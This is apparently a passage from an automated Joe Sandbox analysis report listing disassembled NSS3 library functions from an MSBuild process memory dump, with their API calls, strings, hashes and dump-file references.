Instruction Fuzzy Hash: D151D0B1A043019BEB20CF65DC41B9B76E9EF41318F104129E929AAB91F771D488CF76

Function 6CD42D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CD42D9F

Part of subcall function 6CBFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CC5F9C9,?,6CC5F4DA,6CC5F9C9,?,?,6CC2369A), ref: 6CBFCA7A
Part of subcall function 6CBFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CBFCB26

sqlite3_exec.NSS3(?,?,6CD42F70,?,?), ref: 6CD42DF9
sqlite3_free.NSS3(00000000), ref: 6CD42E2C
sqlite3_free.NSS3(?), ref: 6CD42E3A
sqlite3_free.NSS3(?), ref: 6CD42E52
sqlite3_mprintf.NSS3(6CDAAAF9,?), ref: 6CD42E62
sqlite3_free.NSS3(?), ref: 6CD42E70
sqlite3_free.NSS3(?), ref: 6CD42E89
sqlite3_free.NSS3(?), ref: 6CD42EBB
sqlite3_free.NSS3(?), ref: 6CD42ECB
sqlite3_free.NSS3(00000000), ref: 6CD42F3E
sqlite3_free.NSS3(?), ref: 6CD42F4C

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0a9f85bc5318ff8aa9227c7f1beaf56fcf229881952ba603dd4a872ccb028aac
Instruction ID: d572178737a0198a87495dd0ebb2051d787800f75fa106ebbb4f5b6471bf8ba2
Opcode Fuzzy Hash: 0a9f85bc5318ff8aa9227c7f1beaf56fcf229881952ba603dd4a872ccb028aac
Instruction Fuzzy Hash: FA618DB5E01205CBEB00CFA9D884B9EB7B5AF4834CF158024DE55E7B21E735E859CBA1

Function 6CC92C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC93F23,?,6CC8E477,?,?,?,00000001,00000000,?,?,6CC93F23,?), ref: 6CC92C62
EnterCriticalSection.KERNEL32(0000001C,?,6CC8E477,?,?,?,00000001,00000000,?,?,6CC93F23,?), ref: 6CC92C76
PL_HashTableLookup.NSS3(00000000,?,?,6CC8E477,?,?,?,00000001,00000000,?,?,6CC93F23,?), ref: 6CC92C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CC8E477,?,?,?,00000001,00000000,?,?,6CC93F23,?), ref: 6CC92C93

Part of subcall function 6CD1DD70: TlsGetValue.KERNEL32 ref: 6CD1DD8C
Part of subcall function 6CD1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD1DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CC8E477,?,?,?,00000001,00000000,?,?,6CC93F23,?), ref: 6CC92CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CC8E477,?,?,?,00000001,00000000,?,?,6CC93F23,?), ref: 6CC92CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CC8E477,?,?,?,00000001,00000000,?,?,6CC93F23), ref: 6CC92CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CC8E477,?,?,?,00000001,00000000,?), ref: 6CC92CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC8E477,?,?,?,00000001,00000000,?), ref: 6CC92D4D
EnterCriticalSection.KERNEL32(?), ref: 6CC92D61
PL_HashTableLookup.NSS3(?,?), ref: 6CC92D71
PR_Unlock.NSS3(?), ref: 6CC92D7E

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 3958185f29bb9b1d8efa29571bc025c2c1a42b8fb9bcbb87fb1dbebf63443b28
Instruction ID: 992a17a7cf699682a1e99764195fd9ab0d10a614a98465a56e38154b4cb83d95
Opcode Fuzzy Hash: 3958185f29bb9b1d8efa29571bc025c2c1a42b8fb9bcbb87fb1dbebf63443b28
Instruction Fuzzy Hash: 075105B6D00205ABEB009F24EC858AABB78FF1525CB048524ED5997B11F731ED64C7E1

Function 6CBF4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4D97
PR_Lock.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4DBA
PR_WaitCondVar.NSS3 ref: 6CBF4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4DEF

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: f29758899d7468d562b423864999b1c064241b0b984bcd0ad82876c7229bfdff
Instruction ID: ed92c397773d266fac808caf7630167a04b627a19a912bbb3c654ecf65073dbc
Opcode Fuzzy Hash: f29758899d7468d562b423864999b1c064241b0b984bcd0ad82876c7229bfdff
Instruction Fuzzy Hash: 3C4192B5A04755CFDB00AF79D184169B7F8FF06314F054669D99897710E730E88ACF92

Function 6CC7E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CC7E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6CC7E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6CC7E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC7E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6CC7E9CA
PORT_Strdup_Util.NSS3(6CDB933E), ref: 6CC7EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6CC7EA28

Part of subcall function 6CCD0BE0: malloc.MOZGLUE(6CCC8D2D,?,00000000,?), ref: 6CCD0BF8
Part of subcall function 6CCD0BE0: TlsGetValue.KERNEL32(6CCC8D2D,?,00000000,?), ref: 6CCD0C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC7EA3C
free.MOZGLUE(?), ref: 6CC7EA69

Strings

http://, xrefs: 6CC7E935

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 3c24a45dac9a129c3bc5d43f9c446d1a8b697c829ecc1a02cc3d5cae8a03a138
Instruction ID: 89b278ccc57b18ae91b09669e317953ce7297d6be9dbee1448d58881b8110eec
Opcode Fuzzy Hash: 3c24a45dac9a129c3bc5d43f9c446d1a8b697c829ecc1a02cc3d5cae8a03a138
Instruction Fuzzy Hash: 3D417A779486065FEF704A698C807EE7BA9EB4732CF140029D9A497F41F2229586C2F6

Function 6CD12860 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1A390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD1A415

PK11_CreateContextBySymKey.NSS3(?,00000108,00000020,?,?,?,?,?,?,?,?,?,?,?,?,6CD0FACF), ref: 6CD128F0

Part of subcall function 6CC9CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC9CF16

PK11_DigestBegin.NSS3(00000000), ref: 6CD128FF

Part of subcall function 6CC9D800: TlsGetValue.KERNEL32(?,?,-00000001,00000000,00000000,?,6CC9DE75,00000000), ref: 6CC9D841
Part of subcall function 6CC9D800: EnterCriticalSection.KERNEL32(?,?,?,-00000001,00000000,00000000,?,6CC9DE75,00000000), ref: 6CC9D856
Part of subcall function 6CC9D800: PR_Unlock.NSS3(?,?,?,?,-00000001,00000000,00000000,?,6CC9DE75,00000000), ref: 6CC9D887

PK11_DigestOp.NSS3(00000000,?,?), ref: 6CD12915

Part of subcall function 6CC9DEF0: TlsGetValue.KERNEL32 ref: 6CC9DF37
Part of subcall function 6CC9DEF0: EnterCriticalSection.KERNEL32(?), ref: 6CC9DF4B
Part of subcall function 6CC9DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CC9E02B
Part of subcall function 6CC9DEF0: PR_Unlock.NSS3(?), ref: 6CC9E07E

PK11_DigestFinal.NSS3(00000000,?,?,6CD1444C), ref: 6CD1292D

Part of subcall function 6CC9E0F0: PR_SetError.NSS3(00000000,00000000), ref: 6CC9E2AB

PK11_FreeSymKey.NSS3(00000020,?,?,?,?,?,?,?,?,?,?,?,6CD0FACF,?,?,?), ref: 6CD12940
PK11_DestroyContext.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CD0FACF,?,?), ref: 6CD1294F
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,?,?,?,?,?,?,?,6CD0FACF,?,?), ref: 6CD1295E
PK11_FreeSymKey.NSS3(00000020), ref: 6CD12988
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CD12993

Strings

finished, xrefs: 6CD128C1

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_$Error$ContextDigestFree$CriticalDestroyEnterSectionUnlockValue$BeginCreateFinal
String ID: finished
API String ID: 2914087437-2790239036
Opcode ID: cdb9da9cb4dfacc1c25123606676e7bab5ad410d4336dfde16dc81985a490951
Instruction ID: bb4624d633912d4cfd29ff9dec03576e76ac30dc929802c6e1af9284fcec3590
Opcode Fuzzy Hash: cdb9da9cb4dfacc1c25123606676e7bab5ad410d4336dfde16dc81985a490951
Instruction Fuzzy Hash: AB310BB2944310BFE7009F65AC85EAB77A8EF8575CF440428FD44A7B61F731DA1886E2

Function 6CCBECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CCBDE64), ref: 6CCBED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCBED22

Part of subcall function 6CCCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CDA18D0,?), ref: 6CCCB095

PL_FreeArenaPool.NSS3(?), ref: 6CCBED4A
PL_FinishArenaPool.NSS3(?), ref: 6CCBED6B
PR_CallOnce.NSS3(6CDD2AA4,6CCD12D0), ref: 6CCBED38

Part of subcall function 6CBF4C70: TlsGetValue.KERNEL32(?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4C97
Part of subcall function 6CBF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CB0
Part of subcall function 6CBF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CCBED52
PR_CallOnce.NSS3(6CDD2AA4,6CCD12D0), ref: 6CCBED83
PL_FreeArenaPool.NSS3(?), ref: 6CCBED95
PL_FinishArenaPool.NSS3(?), ref: 6CCBED9D

Part of subcall function 6CCD64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CCD127C,00000000,00000000,00000000), ref: 6CCD650E

Strings

security, xrefs: 6CCBED06

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 9a1c1ec4521fbc7ad77557fcae53edc67d52e8f18cb8c3e67897fed2baa9199b
Instruction ID: fb68cda71d6a073aff8f6802c6bac530a03f7e90c91c6b92b77426598c70fcbd
Opcode Fuzzy Hash: 9a1c1ec4521fbc7ad77557fcae53edc67d52e8f18cb8c3e67897fed2baa9199b
Instruction Fuzzy Hash: B7116D7590021467E71057B5AC80BBB7278AF01B0DF0209A8E91572E50F774B50DC6D7

Function 6CCA2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CCA2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CCA2D07

Part of subcall function 6CD809D0: PR_Now.NSS3 ref: 6CD80A22
Part of subcall function 6CD809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD80A35
Part of subcall function 6CD809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD80A66
Part of subcall function 6CD809D0: PR_GetCurrentThread.NSS3 ref: 6CD80A70
Part of subcall function 6CD809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD80A9D
Part of subcall function 6CD809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD80AC8
Part of subcall function 6CD809D0: PR_vsmprintf.NSS3(?,?), ref: 6CD80AE8
Part of subcall function 6CD809D0: EnterCriticalSection.KERNEL32(?), ref: 6CD80B19
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD80B48
Part of subcall function 6CD809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD80C76
Part of subcall function 6CD809D0: PR_LogFlush.NSS3 ref: 6CD80C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CCA2D22

Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(?), ref: 6CD80B88
Part of subcall function 6CD809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD80C5D
Part of subcall function 6CD809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD80C8D
Part of subcall function 6CD809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80C9C
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(?), ref: 6CD80CD1
Part of subcall function 6CD809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD80CEC
Part of subcall function 6CD809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80CFB
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD80D16
Part of subcall function 6CD809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD80D26
Part of subcall function 6CD809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80D35
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD80D65
Part of subcall function 6CD809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD80D70
Part of subcall function 6CD809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD80D90
Part of subcall function 6CD809D0: free.MOZGLUE(00000000), ref: 6CD80D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CCA2D3B

Part of subcall function 6CD809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD80BAB
Part of subcall function 6CD809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80BBA
Part of subcall function 6CD809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CCA2D54

Part of subcall function 6CD809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD80BCB
Part of subcall function 6CD809D0: EnterCriticalSection.KERNEL32(?), ref: 6CD80BDE
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(?), ref: 6CD80C16

Strings

pPin = 0x%p, xrefs: 6CCA2D1D
C_InitToken, xrefs: 6CCA2CE7
ulPinLen = %d, xrefs: 6CCA2D36
pLabel = 0x%p, xrefs: 6CCA2D4F
slotID = 0x%x, xrefs: 6CCA2D02

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: c8a071fcc97266f6ac16dda755f060e76da17dad07206e0916857801147ead37
Instruction ID: 558283983db644c277c797bdcd34ccce57f8b2df296a8026c05a9a6749f35cd8
Opcode Fuzzy Hash: c8a071fcc97266f6ac16dda755f060e76da17dad07206e0916857801147ead37
Instruction Fuzzy Hash: 5C210835E01055BFFB00AF95CD5CA457BB9EB8635DF488091E60897A32E730BC0ACBA1

Function 6CD80EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CC62357), ref: 6CD80EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CC62357), ref: 6CD80EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD80EE6

Part of subcall function 6CD809D0: PR_Now.NSS3 ref: 6CD80A22
Part of subcall function 6CD809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD80A35
Part of subcall function 6CD809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD80A66
Part of subcall function 6CD809D0: PR_GetCurrentThread.NSS3 ref: 6CD80A70
Part of subcall function 6CD809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD80A9D
Part of subcall function 6CD809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD80AC8
Part of subcall function 6CD809D0: PR_vsmprintf.NSS3(?,?), ref: 6CD80AE8
Part of subcall function 6CD809D0: EnterCriticalSection.KERNEL32(?), ref: 6CD80B19
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD80B48
Part of subcall function 6CD809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD80C76
Part of subcall function 6CD809D0: PR_LogFlush.NSS3 ref: 6CD80C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD80EFA

Part of subcall function 6CC6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CC6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD80F2B

Strings

Aborting, xrefs: 6CD80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CD80ED9, 6CD80EE5, 6CD80F06, 6CD80F0B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 190a59db6f44c8c5940e243e6d43749264399fdd3495adb18a801b5efbdfe10d
Instruction ID: 304ab9a08c1b74931b9bbb313350fb159b2b59ad3ebe63b7eb0c04ef5d9e70a8
Opcode Fuzzy Hash: 190a59db6f44c8c5940e243e6d43749264399fdd3495adb18a801b5efbdfe10d
Instruction Fuzzy Hash: EFF0A4F99001147BEE003BA0DC49C9B3E2DDFC2364F044024FF0956B12DA36EA5596F2

Function 6CCE4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CCE4DCB

Part of subcall function 6CCD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC787ED,00000800,6CC6EF74,00000000), ref: 6CCD1000
Part of subcall function 6CCD0FF0: PR_NewLock.NSS3(?,00000800,6CC6EF74,00000000), ref: 6CCD1016
Part of subcall function 6CCD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC787ED,00000008,?,00000800,6CC6EF74,00000000), ref: 6CCD102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CCE4DE1

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
